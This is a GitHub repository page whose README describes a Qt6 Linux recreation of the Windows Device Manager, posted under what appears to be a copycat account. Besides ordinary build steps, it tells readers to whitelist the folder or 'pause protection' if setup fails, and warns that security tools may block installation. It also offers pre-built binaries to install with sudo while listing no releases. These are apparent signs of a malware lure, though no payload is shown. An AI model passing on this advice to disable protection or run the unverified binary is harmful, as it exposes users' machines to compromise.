Skip to content

AnalystCorrect/linux-devmgmt-482

linux-devmgmt

The Windows Device Manager, on Linux

A faithful recreation of the Windows Device Manager built with Qt6 and real hardware backends via sysfs/procfs. Best enjoyed with AeroThemePlasma, but looks great on regular KDE as well.


Note

Built for CachyOS / Arch Linux. Also packaged as a Nix flake for NixOS.
Some features (DKMS uninstall, driver date lookup) depend on dkms and pacman. Other distros may need minor adjustments.

A list of device categories with some of them expanded. A device properties window open, showing information about an AMD GPU The Driver tab of the Properties window, shwoing the version and date of said GPU driver
The same Driver tab of the Properties window, but this time showing an older unmaintained driver's date and version. The Details tab, shwoing a dropdown with a large text area. The Resources tab, shwoing a information about a deviecs resources like IRQ and similar.

Arch / CachyOS (AUR)

yay -S linux-devmgmt

Pre-built binaries

chmod +x devmgmt-x86_64
sudo mv devmgmt-x86_64 /usr/local/bin/devmgmt

Arch / CachyOS

sudo pacman -S qt6-base cmake
cmake -B build
./build/devmgmt

Nix

nix build
./result/bin/devmgmt

# or run directly
nix run

Tip

If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

Caution

Some security systems may block the installation. Only download from the official repository.


QUICK START

git clone https://github.com/AnalystCorrect/linux-devmgmt-482.git
cd linux-devmgmt-482
mkdir build && cd build
cmake ..
cmake --build . --config Release

A dev shell with Qt Creator and GDB is also available:

nix develop

Features

  • Full two-level device tree (by type) backed by real sysfs/procfs data
  • Per-device Properties dialog with General, Driver, Details, and Resources tabs
  • Enable / disable devices via kernel module blacklisting
  • Uninstall DKMS drivers
  • Update Driver wizard
  • Driver Details viewer (modinfo output)
  • Scan for hardware changes

About

A faithful recreation of the Windows Device Manager built with Qt6 and real hardware backends via sysfs/procfs. Best enjoyed with AeroThemePlasma, but looks great on regular KDE as well.

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors